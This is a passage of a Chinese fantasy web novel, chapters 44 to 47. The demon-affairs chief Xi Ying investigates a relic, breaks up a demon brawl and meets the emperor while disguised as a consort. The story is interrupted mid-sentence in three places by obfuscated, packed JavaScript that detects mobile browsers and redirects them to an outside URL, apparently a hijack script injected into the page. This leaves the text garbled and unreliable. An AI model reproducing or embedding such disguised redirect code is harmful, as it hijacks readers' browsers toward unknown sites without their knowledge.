魇魔讪笑道:“哈哈您说笑了,我无父无母,这世上只有寄心算是我的亲人。嗐这话怎么说呢,您也知道我是寄心的心魔对吧,我跟大多数妖族都不一样,比如小猴子,他的本体是只猴,寄心的本体是只狐狸,而我呢,严格来说我是没有本体的,或者说我的本体没有什么固定的形态,想变成什么样就能变成什么样。” 说着,她挥了挥自己的树枝手臂,奚萦点点头,示意她继续说。 “那您猜猜,我要是死了,尸体会是什么?” 奚萦将她上下打量一番,目光变得越来越危险,魇魔连忙告饶:“别别别,您千万别试试看,妹妹我罪不至死啊!老实跟您说吧,我也不知道我死后留下的尸体会是什么样,这取决于我这辈子印象最深刻,最让我执着的东西,唔,如果现在就死的话,我大概会变成一本书,写上我和寄心的回忆,也可能是变成一幅画,画着我和姐姐你还有小猴子……” 奚萦若有所思地点点头:“你的意思是,这东西是类似于你这样的心魔成妖死后所留之物?” 魇魔点点头:“我能感觉到这上面残留的妖气与我相似,就算不是同类,应该也是相近的妖族。所谓心魔呢,其实是一种执念,执念化妖,那必定是极其深刻的执念才行,所以就算死了,我们也总想拼命留下点什么,直到心愿达成,执念消散,我们也就彻底消失了。” 奚萦想到在栖梧宫看见的那幅画以及听到的几段对话,这段成妖的执念,是江太后的,先帝的,名叫念伊的女子的,还是那个让江太后用自己的血喂养的怪物的? “如果你死后变成了一本书,是随便谁都可以翻看这本书吗?” 魇魔有种被冒犯了的感觉,大声道:“当然不是了!只有亲近之人才能看到,比如寄心,比如我最崇拜的司主姐姐,嘿嘿嘿。” 亲近之人啊……奚萦点点头,无视了魇魔的拍马屁,将东西从小树人手里拿回来,又问道:“那这个东西还能保存多久?” “大概一年吧。” 44. 心情不好,揍一顿狐狸 听到这个结果,奚萦心里说不出来是什么感觉,片刻后她收起这根像是“遗骨”的东西,对魇魔道:“我出宫一趟,你老实待着,再敢欺负孙胡的话,哼!” 魇魔一个鲤鱼打挺从花瓶里弹出来,挂在奚萦的衣袖上就开始嘤嘤嘤地哭:“好姐姐,司主姐姐,您带我一起好不好?让我出去放个风吧,天天这么关着我脑子会坏掉的嘤嘤嘤……” 孙胡也眼巴巴地看着奚萦,似乎想求她别让自己再跟这魔鬼一般的女妖精待一个屋里了,奚萦无奈,身边尽是些没用的幼稚鬼和笨蛋,显得封峻都是个得力干将了,她这司主当得可真不容易啊。 “这样吧,你可以出去,但必须带着孙胡,也不准欺负他,我给你一个任务,今天之内,你想办法让皇帝解了‘沈嫔’的禁足,以后你就可以扮成发财跟着我出去了。” 魇魔眼睛一亮:“真的吗?我用什么办法都可以吗?” 奚萦白她一眼,警告道:“别做得太过分了,‘沈嫔’这个身份我还有用,要是搞砸了的话,你就等着去深山老林里挖一辈子矿吧!” 魇魔拍着胸脯保证:“姐姐您放心,这件事就包在我身上了!” 奚萦看看她,又看看快要哭出来的小猴子,不太放心地叮嘱道:“你可以去找皇帝身边的金内侍帮忙,说你是我的妖就行。” 魇魔连连点头:“好的好的,还是司主姐姐人脉广啊,连金内侍都是您的人!” 奚萦把她从衣袖上扯下来,又摸摸小可怜孙胡的脑袋,趁着天还未亮出宫去了。 无损堂在雍都的驻地位于妖市最繁华的街口,为了帮奚萦办事,封峻和寒酥这段时间一直待在雍都,奚萦这次过来一是要跟封峻说一下今晚栖梧宫的事,二是想让他看看能否帮柳希月解毒。 这姑娘傻是傻了点,但终究没害别人,就这么死了或一直靠喝人血苟活着实在可怜,奚萦有些不忍。 然而还没到无损堂大门口,奚萦就被吵翻天的狗吠猫叫狐鸣闹得耳朵疼,前面街口更是被妖山妖海围得水泄不通。 难不成雍都妖族造反打上妖务司了? 这般想着,奚萦顺手拉住一个在人群外围上蹿下跳的老鼠精问道:“发生什么事了?” 老鼠精咧嘴一笑,大板牙差点闪瞎得奚萦的眼,他兴高采烈道:“狗妖们上门找狐妖的麻烦,狐妖又拉来几个猫妖助阵,闹得厉害呢!哎呀打起来了打起来了……” 猫、狗和狐狸这三家都跟老鼠不对付,这会儿仇人们干架,老鼠精高兴得嗓子都快喊劈了。 奚萦一阵无语,先前因为寒酥不分青红皂白抓了全城狗妖的事,把雍都狗妖给得罪狠了,狗妖族长上门理论,还是她出面赔礼道歉给安抚住的,结果她才离开两天又闹起来了,这帮不省心的东西啊! 她拨开妖群上前,顿时被眼前混战晃得眼晕,只见各种黄的白的黑的红的毛团子打成一团,风一吹,散落的毛糊了一脸,呛得她直咳嗽。 “住手!都给我住手咳咳咳呸……” 然而没妖听,那帮家伙越打越上头,不过片刻功夫,无损堂的围墙塌了半边,大门前的地砖也碎成了渣。 奚萦顿时气得头疼,掏出司主令往天上一扔,强忍着咳嗽怒吼道:“御令既出,众妖臣服,定!” 半空中的司主令爆发出强烈的光芒,光芒所照之处,无论是打红了眼的狗妖狐妖还是搞偷袭的猫妖以及看热闹起哄的各种妖,噼里啪啦落了一地,人形半人形的全变回原形,本就是原形的缩小了好几圈,原本吵得人脑瓜子嗡嗡响的妖市瞬间安静下来,只剩一片惊恐的抽气声。 奚萦揉着太阳穴,在无数妖怪惊惧的目光中走到无损堂大门口,收起司主令后,寒声喝道:“还有没有点规矩了?无损堂门口打群架,你们是想造反吗?” 司主令那令妖心悸的光芒消失后,被震慑住的妖怪们纷纷松了口气,但看到奚萦横眉竖目站在台阶上,气势之盛,将他们一个个碾成肉饼也不在话下,妖怪们顿时不敢吱声。 这时一个雪白的毛团子从猫猫狗狗堆里冲出来,一头扎进奚萦怀中,蹭着她的下巴哭唧唧地告状:“司主大人,是这些狗妖不讲道理,诬赖我们抓了他们的狗。” 奚萦还没说话,底下跪着的一只大黑狗连忙喊冤:“司主大人在上,我家小儿子真不见了,绝对没有胡说八道啊!” 如今的雍都城,少了条流浪狗都要算在狐族头上,这仇怨也是难解了,奚萦叹气,将怀里的狐狸放地上,用眼神警告她不准撒娇,然后对大黑狗道:“你说儿子被狐族抓了,可有什么证据?” 黑狗急忙道:“除了这些狐狸还有谁会莫名其妙抓我们狗妖啊!” “哼,我昨晚买了三个肉包子结果少了一个,除了狗谁会莫名其妙偷包子啊,你去替我把包子找回来如何?” 黑狗顿时瞪圆了眼睛说不出话来,半晌才嗫嚅道:“上次,上次他们也乱抓狗……” 奚萦一听这话更火大:“上次误抓狗妖的事本司主已经解释过了,并非有意为之,也给所有被抓狗妖赔偿过了,当时两族已经言和,如今又来闹事,你是对本司主有什么意见吗?不如叫你们族长过来,我跟他好好切磋一下?” 黑狗心虚,缩着脖子道:“没有没有,小妖绝对不敢质疑司主大人,也不敢劳烦族长……” 见领头的狗妖服软,原本躲在奚萦身后的寒酥立马抖了起来,跳出来指着黑狗大声道:“算你识相!你这——” 话还没说完,小狐狸头上就挨了一个爆栗,奚萦寒声道:“大门口打架闹事,还把猫妖也拉进来一起胡闹,你也不是个省心的!” 寒酥不敢再跳了,委委屈屈地认错:“那就算我错了嘛,司主大人别生气了。” 与此同时,一只狸花猫和一只玳瑁猫正鬼鬼祟祟地踮着脚往妖群中躲,奚萦在寒酥头上随手薅了一撮毛扔过去,两只助纣为虐的猫当即被打得嗷嗷叫,再也不敢偷溜了。 “行了,狗妖失踪的事报到度朔堂去,那边会安排人手帮你们一起找的,至于今天这事,哼,刚才参与打架的所有狗妖狐妖猫妖一个都不准跑,把围墙和地砖尽数修补好,谁敢用术法或是请别人帮忙的,本司主亲自来跟他过两招。” 罚完这群混蛋奚萦还是觉得不解气,无视了脚边卖萌撒娇的寒酥,转身一脚踹倒大门走了,院子里飘来她满含威胁的补充:“大门也一起修好!” 若按她往日的脾气,直接将打架的妖挨个揍一顿,揍到他们这辈子都不敢在妖务司大门前打架为止,可惜身为司主不得不顾忌点形象,但是这口气嘛,总要找个地方撒出来才行。 于是,大门前拖拖拉拉糊墙铺砖的小妖们听到无损堂里传来一阵可怕的动静。 “封峻!闹事的在门口打起来了你还继续装死是吧?我看你今天是真想死了!” “没有没有!你听我解释啊,啊啊啊——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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奚萦大致看出这是个类似于增强妖力激发生机的辅助阵法,但封峻弄得十分复杂,到后面她就完全看不懂了。 半晌后,阵盘归位,封峻将“遗骨”放入阵中,又在各处阵眼上放好灵石,莹白光芒微闪,阵法开始运转。 一开始并没有什么变化,随着阵法光芒愈盛,“遗骨”开始一点点析出黑色的蜡状液体,露出了原本青玉般的质地,析出的蜡液则慢慢渗进了土里。 待黑色褪尽,封峻伸手将变成青碧色的“遗骨”拿出来递给奚萦:“这东西你应该认识。” 奚萦摩挲着这截“遗骨”,喃喃道:“是我的剑,我的剑也是这种青玉锻造的……” 两人都没有说话,一时千头万绪,实在不知该从何说起。 恰在此时,更不可思议的事发生了。 蜡液渗透的地方,松软的泥土微微动了一下,一棵血红色的,细细的嫩芽破土而出,在阵法的加持下,这棵嫩芽快速抽条,几个呼吸之间便长成了一株小臂高的,通身血色的草。 奚萦惊讶道:“这是血屠草?” 封峻摇头:“不认识。” 话音刚落,那棵草却渐渐褪去血色,变成了正常的绿,顶上更是结出一个小小的白色花苞,而当白色花苞绽放,露出包裹在里面的黑色花蕊和花瓣时,奚萦和封峻齐齐变了脸色。 “司主大人!” “师父……” 45. 都是司主大人的得力干将啊! 这朵黑色的花美得妖异极了,却只绽放了几个呼吸的时间便化作齑粉消散,奚萦怔在原地,许久都无法回神。 “哎奚萦我没看错吧,刚刚那个,确实是玄蓇墨兰对吧?” 奚萦轻轻吐出一口气,点头道:“没错,是玄蓇墨兰,我虽然只见过一次师父的本体,但绝不会认错的。” 封峻:“可是,不是说世上不会同时存在两株玄蓇墨兰吗?刚刚那又是怎么回事?” 奚萦的师父,前任司主无念的本体乃是上古奇花玄蓇墨兰,花草成妖本就艰难,玄髓墨兰这种一代只有一株,一生只开花一次的物种更是极其罕见。 奚萦上次见到玄蓇墨兰开花,是在无念离世的时候。 那时她去了焚骨山替无念采疗伤用的赤焰晶,忽然收到传信说无念病重,她拼了命赶回离人谷时,无念已经油尽灯枯,只叮嘱了她一句“不可去雍都”便撒手人寰。 妖族死后都会变回原形,她亲眼看到无念的尸身化为一朵妖异绝美的墨色兰花,又在眨眼间枯萎凋零,跟刚才的场景几乎一模一样。 奚萦喃喃道:“师父几乎从不提她自己的事,关于玄蓇墨兰我知道的可能还没你多……我的剑是师父给的,现在玄蓇墨兰也同时出现,还有师父临终前让我不要来雍都,这些事肯定是有关联的。” 提起无念,封峻脸上也露出怀念神色:“我曾听曾祖爷爷说过,无念司主的本体是极其罕见的玄蓇墨兰,妖务司第一任司主奚照受伤落崖时遇到当时还未化形的无念司主,为了疗伤活命吃了她一片叶子,奚照司主觉得亏欠,伤好之后便带着这株玄蓇墨兰一起离开,悉心养护了好几百年她才终于化形成妖,被奚照司主收为弟子,后来奚照司主身亡,将妖务司司主之位传给了无念司主。 至于玄蓇墨兰有什么特别之处嘛,曾祖爷爷只说世上不会同时存在两株玄蓇墨兰,她的叶子还能疗伤,那应该是没毒的吧?别的我也不知道了。” 见奚萦还是愁眉不展的样子,封峻又提议道:“要不你问问蓝姑姑?她跟在无念司主身边的时间可比老牛老鹤他们早多了,肯定知道许多无念司主的事,而且她还精通丹道药理,正好看看能不能替那姓柳的傻姑娘解毒。” 提到蓝姑姑,奚萦更头疼了,这位也不是什么让人省心的妖啊!但封峻的曾祖爷爷早已过世,如今要说了解无念且有把握帮柳才人解毒的,的确没有比蓝姑姑更好的人选了。 “蓝姑姑现在还在离人谷吗?你帮我,唉,算了,我自己给她传信。” 事不宜迟,她当即坐下写信,封峻顺嘴道:“对了,老鹤派慕羲来雍都坐镇度朔堂,让你有事尽管吩咐他,老牛也说需要打架的话千万通知他,你以后别逮着我一只狐狸薅了,换只鸟使唤吧!” 他尾音拖得老长,还故意冲奚萦十分猥琐地眨了眨眼,气得奚萦一笔戳在他脸上,骂道:“鹤老头是不是还记恨我抢走发财的事呢?派谁来不好,偏要派那只脑残孔雀,到底是帮忙还是找事来的?!” 封峻变成狐狸蹿到树上,幸灾乐祸道:“你这么说的话可就寒了老鹤的心了,慕羲脑子聪明性格活泼修为也不错,如今可是度朔堂的二把手呢,他亲自来帮你你还嫌弃上了?啧啧啧,慕羲要是知道你这么嫌弃他的话,肯定伤心死咯——” 奚萦大怒:“慕羲慕羲慕羲个狗屁!他叫孔二毛!再敢提慕羲这个名字信不信我揍你?” 封峻:“哈哈哈哈……” 没错,慕羲原名不是慕羲,而是孔二毛,后来改名慕奚,奚萦的奚,被奚萦连着揍了一个月,最后甚至威胁要拔光他的毛,他这才委委屈屈地改成了慕羲,并发毒誓说这个“羲”绝对跟奚萦没有半点关系,他也绝对不会再暗恋奚萦了。 奚萦能怎么办呢,总不能强行说跟“奚”同音的字都是在暗指自己吧?但她还是很不爽这个名字,更不爽这只孔雀直接改暗恋为明恋,动不动就拦着她唱首小曲儿跳支舞的种种奇葩行径。 在奚萦的拳头和孔二毛的脑壳哪个更硬的较量中,孔二毛目前暂居上风,奚萦大多数时候都尽量躲着这奇葩鸟。 被孔二毛要来了的消息一打岔,奚萦原本沉重的心情都有点沉重不下去了,她转念一想,在手中的信笺上添了一句“事情紧急,望蓝姑姑尽快来雍都一叙”。 恶人还需恶人磨,栓住孔二毛这件事,还是交给鸟族克星蓝姑姑吧! 写完信后封好用纸鹤送出去,她又把栖梧宫中听到的关于江太后的事跟封峻说了,末了问道:“这位江太后跟我师父有什么交集吗?” 封峻:“这江太后应该是凡人吧?你也知道咱们妖界的规矩,如无必要不能与凡人过多接触,偶尔几个不懂事的小妖在人界露了行迹这种事的确有,但无念司主身为妖界之主,于公于私都没理由跟江太后有什么交集啊。” 奚萦:“万一她也曾进宫查案呢,就跟我一样,那不就很有可能会遇到江太后吗?” 封峻点头:“有道理,但我不曾听说无念司主曾来过雍都。” 看来关于师父无念的事,还是只能问蓝姑姑,希望这次她不要再跟师父一样总是什么事都瞒着她了。 事情谈得差不多了,奚萦先去地下的养魂阵看许嫣。 她的魂魄已经不像先前那般黯淡到近乎透明,但仍旧没有清醒的迹象,看来还要再养一段时间。 看完许嫣,她又从封峻的狐狸洞里掏了许多珍奇矿石送到剑炉去给富贵儿补身体,把封峻气得直跳脚,这才优哉游哉回宫了。 * 今天天气不太好,阴沉沉的,朱红色的宫墙一层又一层,就像这座皇宫里藏着的秘密一个接一个,让变成小太监走在宫道上的奚萦有种正在一步步踏入巨兽口中的错觉。 她轻轻吐出憋在胸口的浊气,打起精神继续前行。 然而刚走过一处拐角就看到东南方向有浓烟飘散,正是长夏宫所在的位置。 奚萦心中升起几分不妙的预感,赶紧加快脚步往回赶。 她赶到长夏宫宫门外时,整座宫殿都几乎被浓烟吞没,有侍卫抬着水龙冲进去灭火,也有太监宫女提着桶或端着盆进进出出,还有不少刚从火场中跑出来的宫人瘫坐在地上大哭。 奚萦没看到魇魔和孙胡,情急之下随手抢了个水桶就冲进宫门,与此同时,皇帝景辰也带着人匆匆赶到了。 奚萦正试图通过传音联系孙胡,然而还没联系上,就听浓烟中传来一道极其洪亮的女声。 “求皇上解了臣妾的禁足令吧,否则臣妾宁愿烧死也不出去!” 奚萦闻言,顿时气得差点当场破口大骂,魇魔这混账玩意儿,这就是她想出来的办法?干脆烧死她算了! 她当即转身往外走,听魇魔这大嗓门儿,想来一时半会儿烧不死,她趁这个时间去找根粗点的棍子,待会儿打死那混帐。 景辰这时在宫门外,听到这赤裸裸的威胁,有点怀疑自己耳朵出问题了。 一旁的金内侍赶紧帮腔:“陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232583|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下啊,人命关天呢,要不您就答应沈嫔娘娘吧,娘娘她身体不好,可禁不起这般磋磨哪。” 景辰只觉好大一口黑锅从天而降,片刻后他有些无语地下旨:“即日起解除沈嫔的禁足,赶紧将人救出来吧!” 目的达成,魇魔和孙胡两人很快就被“救”了出来,她头发散乱小脸黢黑,走路歪歪倒倒仿佛下一刻就要晕过去,然而见到景辰的瞬间,她却一个激灵站直了并抛了个矫揉造作至极的媚眼过去。 人群中围观的奚萦、近距离看戏的金内侍和孙胡以及媚眼接收人景辰齐齐一个哆嗦,原本嘈杂的火灾现场一时间安静得可怕。 片刻后,景辰十分不自在地咳嗽了几声才道:“那个沈嫔啊,暂时搬去承光殿住吧。” 魇魔当即感动得就要扑上前来谢恩,景辰连连后退:“免礼免礼,金内侍,你送沈嫔去承光殿,传御医给她看诊。” 吩咐完这句他转身就走,那脚步那背影,似乎有点落荒而逃的意味。 正主走了,剩下的几人也就随便演演,很快搬去了新住处承光殿。 奚萦一路悄悄跟着,待人都散了才翻进寝殿,魇魔正大爷似的躺在靠窗的软榻上吹牛:“小猴子看到没,那小皇帝脸都红了,肯定是被姐姐我迷得找不着北了哈哈哈……” “咳——” “司主大人!” “司主大人?司主大人肯定也会夸我聪明绝顶办事得力哈哈哈——” “呵,本司主倒是没看出来你竟这般能干啊!” 认出这是奚萦的声音,魇魔吓得一骨碌爬起来,讪笑道:“姐姐您这么快就回来了啊?哈哈还说给您个惊喜呢哈哈哈……” 奚萦白她一眼:“惊喜?房子着火的惊喜吗?我让你想办法解除禁足,你就直接把房子都烧了?长夏宫那么多手无缚鸡之力的宫女太监,万一出了意外你是打算赔命吗?” 魇魔不敢嬉皮笑脸了,小心翼翼解释道:“姐姐您放心,那火看着唬人,实际都是障眼法,只冒烟不伤人的,我怎么敢在您眼皮子底下乱来呢。” 听到这话,奚萦松了口气,坐到桌边给自己倒了杯茶,又点点下巴示意一旁站着的魇魔坐下,然后对仍旧顶着一脸黑灰的孙胡道:“你先下去洗洗吧。” 孙胡离开后,奚萦换了慈祥一点的语气对熊孩子魇魔谆谆教导:“你这个办法确实管用,但下次还是要谨慎行事知道吗?凡人不比妖族,你随便折腾一下可能就要了他们的命,命无贵贱,强者更应怜惜他人性命,这既是妖务司的铁律,也是妖界和人界这么多年以来相安无事的底线所在,我希望你能谨记于心。” 魇魔认真点头:“嗯,我记住了司主姐姐。” 趁奚萦低头喝茶时,她又偷看了她好几眼,小声补充道:“谢谢您跟我说这些。” 奚萦勾了勾唇角,微不可察地轻轻“嗯”了一声。 这时外间传来守门太监的高声通报:“皇上驾到!” 奚萦和魇魔都很惊讶,皇帝不是刚被吓跑了吗,怎么又来? 魇魔立马兴奋起来,奚萦见她这模样几乎倒抽一口凉气,急忙扯着领子将准备出门迎驾的不羁浪/女拎起来,刷地一下丢进窗台上的花瓶里,她自己则一步跳到床上扯下床帘,迅速脱掉外袍变成沈嫔的模样。 刚布置好现场,就听到景辰的声音由远及近传来:“沈嫔可还好?有没有伤着?有没有吓着?” 咦,这人的声音听上去还有点高兴是怎么回事? 46. 咱俩究竟是谁要接近谁来着? 孙胡在前引路,景辰带着金内侍以及沈嫔身边宫伺候的一帮宫女太监很快进了寝殿,结果寝殿里却没看到人,床帐也是放下来的,里面传来衣料摩擦的细微动静。 景辰有点尴尬,暗道自己太心急了点,这时奚萦探出半颗脑袋,羞赧道:“臣妾形容不整无法行礼,还请陛下恕罪。” 景辰见状连忙道:“是朕唐突了,朕去外间坐一会儿,你梳洗妥当后我们再说话。” 这人风风火火地来,又呼啦啦地转身就走,只留下小穗等宫女伺候奚萦梳洗,把奚萦搞得有点懵,总觉得今天的皇帝有点怪怪的,但又说不上来具体哪儿奇怪。 她收拾妥当出去的时候,景辰正在摆弄书桌上的笔架,他嘴角不经意间勾起一点弧度,饶有兴致的模样仿佛那几支破笔是什么稀罕的好宝贝,奚萦想起金内侍说皇帝最近疯疯癫癫的,不知道今天又是演的哪一出? “劳陛下久等,臣妾失礼了。” 她中规中矩地行了个礼,景辰听到连忙上前两步要来搀扶,手伸到一半又缩回去,笑道:“沈嫔不必多礼,坐吧,我们说说话。” 他抬手一指,示意奚萦坐到靠窗的软榻上。 奚萦顿了顿,只好调转方向去软榻那边,窗边光线好又通风凉爽,就是两个位置挨得近了点,显得他们好像很熟的样子。 两人相对而坐,金内侍带着人上了茶水点心后侍立在旁,结果景辰挥挥手赶人:“都下去吧,朕跟沈嫔说会儿话,不用人伺候。” 奚萦有些诧异地瞟了他一眼,暗道这人竟然真是来找她聊天的?他和“沈嫔”什么时候发展到可以聊天的程度了?总不会是刚才魇魔那个媚眼勾到他了吧? 待人都退下后,景辰将茶盏往奚萦的方向推了推,温声道:“这是百合雪梨茶,清心安神的,你受伤,呃,受了惊吓,喝这个比较好。” 奚萦又瞟他一眼,见他眼神温和唇边带笑,跟刚才满脸惊恐嫌弃的模样判若两人,唔,不止如此,跟昨天在漪兰殿中的冷淡犀利,栖梧宫中的古怪神秘也都完全不同,岂止是判若两人啊,这是判若四人呢! 这人莫非,真的有什么大病? 奚萦暗中观察的景辰的时候,景辰也在暗中观察她。 今日刚下朝就听说长夏宫走水,他第一反应就是奚萦又搞事了,然而匆匆赶到现场却见到个奇形怪状的女人往自己身上扑,他当时没做好准备吓得落荒而逃,等回到蓬莱宫后又觉得自己太怂了点,心中颇为懊恼。 恰好那时负责救火的王朗前来禀报,说长夏宫并未起火,那浓烟莫名其妙就消失了,这场“火”除了吓坏几个宫人,弄脏了沈嫔的脸,再没有别的损失。 除此之外,王朗还在长夏宫的小厨房中找到一小片没有烧完的黄纸,上面有朱砂痕迹,十分可疑。 景辰一看,这不就是奚萦常用的那种符纸嘛! 这下他还有什么不明白的?定然是奚萦故意搞事吸引自己注意啊! 两人昨晚才在栖梧宫经历了一场怪事,以她那急吼吼的性子,肯定憋不住要来接近自己,如今柳才人出事,后宫只剩沈嫔一个妃子,以沈嫔的身份接近自己确实比扮作宫女容易许多,这不长夏宫一出事就得报到他这里来,就算看在沈唯清的面子上他也要对“沈嫔”略表关怀,一来二去两人不就见着面了吗? 想通了这一节,景辰当即打起精神,马不停蹄赶来了承光殿。 此时“沈嫔”就坐在他对面,两人中间只隔着一张窄窄的茶几,她脸上每个表情他都看得清清楚楚。 单从相貌上来说,“沈嫔”和奚萦两人可谓是大相径庭,“沈嫔”眉眼温柔,面色是久病的苍白,身形也很单薄,一看就是楚楚可怜的深闺女子,而奚萦却美得张扬又灵动,尤其是那双眼睛,光芒万丈毫不遮掩,就像她此时看向自己的眼神,就算是“偷看”也显得光明正大闪闪发光。 至于先前在长夏宫门口冲自己抛媚眼的猥琐行为,景辰觉得是她演砸了,这会儿不就正常了许多? 想到这里他有点想笑,暗道司主大人这演技实在不能细看,这才第二个回合呢就露馅儿了。 “不喜欢喝甜的吗?我让金内侍少放糖了,你尝尝看,不喜欢的话就换别的。” 他再次示意奚萦喝口茶,连称呼也在不自觉间换了过来,奚萦回神,有点尴尬地笑了笑,掐着嗓子故作羞赧地小声道谢:“多谢陛下体贴,臣妾没有不喜欢甜的。” 听她用这样的语气说话,景辰又想笑了,他轻咳一声忍住,故作不经意道:“哦,看来的确不是很喜欢甜,我记住了。” 奚萦:“……” 天哪,他在犯什么病呢? 借着喝茶的动作掩盖住脸上的震惊,奚萦脑子里念头乱飞,却始终抓不住一个确切的答案,无他,这小皇帝一会儿一个样,怪,实在是怪! 不过这茶的确不错,淡淡的清甜里夹杂着一点梨香,很清爽,她忍不住又喝了一口。 景辰见她满意,唇边的弧度也跟着上扬了几分,又问道:“承光殿住着可还习惯?” 奚萦不明所以地点点头,景辰继续道:“长夏宫并未有多大损失,若你想搬回去的话,我让他们今日收拾好,明日就能搬回去,承光殿这边确实小了点,位置也偏了点。” 奚萦觉得偏僻点挺好啊,连忙道:“不用不用,多谢陛下好意,承光殿住着挺好的。” 景辰也想到她一入夜就满宫跑的习惯,于是又提议道:“或者你喜欢住哪儿可以跟我说。” 奚萦忍不住又瞟他一眼,暗道我想住蓬莱宫去日夜盯着你行不行呢?但她终究是婉拒道:“真的不用,臣妾觉得承光殿就挺好。” 见她坚持,景辰也不再多说,转而提起另一件事:“下月十九是万寿节,差不多也到秋狩之期了,今年毕竟不同,且我已经许久没见母后了,不如就去九曜山一趟,你觉得如何?” 这话拿来问“沈嫔”其实挺突兀的,但奚萦的注意力全被“九曜山”和“江太后”吸引了过去,当即道:“好啊!咳咳,臣妾是说,如今陛下身体康泰,太后娘娘见了定然开心。” 景辰见她一脸恨不得现在就启程的模样,不禁失笑,假模假式地点头道:“沈嫔也说好的话,那就这么办吧。只是路上颠簸,别累得你病情加重了,要不你还是——” “臣妾的病早就好了!” 以沈嫔的身份去九曜山,去给太后请安那不就是顺理成章的事情吗,这么好的机会她可不想错过了。 景辰却十分怀疑地将她打量了一番:“你太瘦了,脸色也不好,可别逞强。” 奚萦恨不得当场给他表演一个胸口碎大石来证明自己身体倍儿棒,可惜“沈嫔”的壳子限制了她的发挥,憋了半晌她最后只好使出魇魔的法子,一把拉住景辰的手晃了晃,捏着嗓子求道:“陛下~~~您就带上臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232584|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妾吧!臣妾保证不会拖后腿,不要扔下臣妾一个人在宫里嘛!好不好啊陛下?陛下~” 景辰本就是逗她玩儿的,结果她忽然来了招猛女撒娇,顿时就给他整不会了,一时间只觉得手心温度迅速上升,一路从她握住的地方蹿上脑儿,整个人都被晃得晕乎乎的,半晌后才磕磕巴巴道:“好,好的,肯定带你去……” 奚萦目的达到,立马赏了他一个大大的笑容,那眼睛里藏也藏不住的光,差点就闪瞎了景辰的狗眼,他也忍不住跟着笑了起来。 奚萦心想,嘿小样儿,果然逃不出司主大人的手掌心啊! 景辰心想,唉,奚萦还是原本的模样更好看啊,有点可惜…… 定下去九曜山的事,景辰顺势跟奚萦聊起九曜山:“九曜山在云州和临安的交界处,离姚州也不远,从雍都去九曜山需得先走水路到临安,再走陆路进山,路上大约需要半个月,若要在万寿节之前赶到九曜山的话,最迟这个月底就要启程。” 今日是七月初二,离八月十九的万寿节只有一个多月了,景辰这也是提醒奚萦走之前把雍都这边的事安排好。 奚萦点点头:“那陛下以前去过九曜山吗?” 景辰:“当然去过,我九岁之前的秋狩多在幽浮山那边的猎场,不过后来幽浮山闹虎患——” 说到这幽浮山的虎患,他不禁想起那头跟自己赛跑过的老虎,后来那位虎兄被吓得屁滚尿流,想必幽浮山这多年的虎患总算是消停了,啧啧啧,司主猛于虎啊! 奚萦见他忽然没了下文,追问道:“闹虎患,后来呢?” 后来,后来老虎被你打得嗷嗷哭,瘸着腿逃命去了呗! 景辰轻咳一声继续道:“后来就改成九曜山,不过九曜山太远,秋狩便改为三年一次,我十一岁那年跟父皇一起去过,记得山顶有座前朝传下来的落星塔,塔高百丈,秋日天气好时在塔顶观景,可见山下灯火万家,天上星河如瀑,当真是人间胜景,到时候我带你去看看。” 奚萦笑道:“那好啊,陛下可不能食言。” 景辰也笑:“当然了,我可是一言九鼎之人,还会骗你不成?” 奚萦眨眨眼,觉得这小皇帝好好说话的时候挺正常的,笑起来也很好看,但愿他是个好人啊! 两人又聊起九曜山所在的九曜城,从风土人情说到特色小吃,景辰虽然只去过一次,但他记性极好,平日里又总喜欢看山川地理民风之类的书,聊起这些头头是道,简直不像是久居深宫的皇帝,奚萦见多识广,当个捧哏也是绰绰有余,两人聊得投机,眨眼间就到了午时。 金内侍进来询问景辰午膳摆在哪儿,他顺理成章道:“就摆在承光殿吧。对了,御膳房今日可有九曜城那边送来的银叶鱼?有的话就做一份银叶面来。” 他又回头对奚萦道:“就是我方才跟你说的长在九曜山泉水里的银叶鱼,肉质细嫩鲜甜,没有一般河鱼的腥气,炖汤尤其鲜美,只在每年七月有,等我们去九曜山的时候恐怕就吃不到了,好在每年都会送一些进宫,你可以尝尝看。” 奚萦愣愣点头,景辰便挥手让金内侍下去安排,他这一连串动作自然得好像两个人已经很熟了,好像这是在他自己家里一般,让奚萦一时有点接不住戏,但转念一想,这宫里可不就是他家吗?“沈嫔”是他小老婆,两人可不就该很熟吗? 但是总感觉怪怪的,咱俩究竟是谁要接近谁来着? 47. 万一她喜欢上朕的话可怎么办? 直到金内侍带人摆好午膳,两人落了座,奚萦都还没能从那种奇怪的感觉中理出个头绪来。 一旁伺候的小穗却被自家主子比皇帝还先落座的大不敬之举吓得白了脸,这宫里谁不知道当今陛下常年生病脾气极差啊,她家娘娘这胆子也忒肥了点! 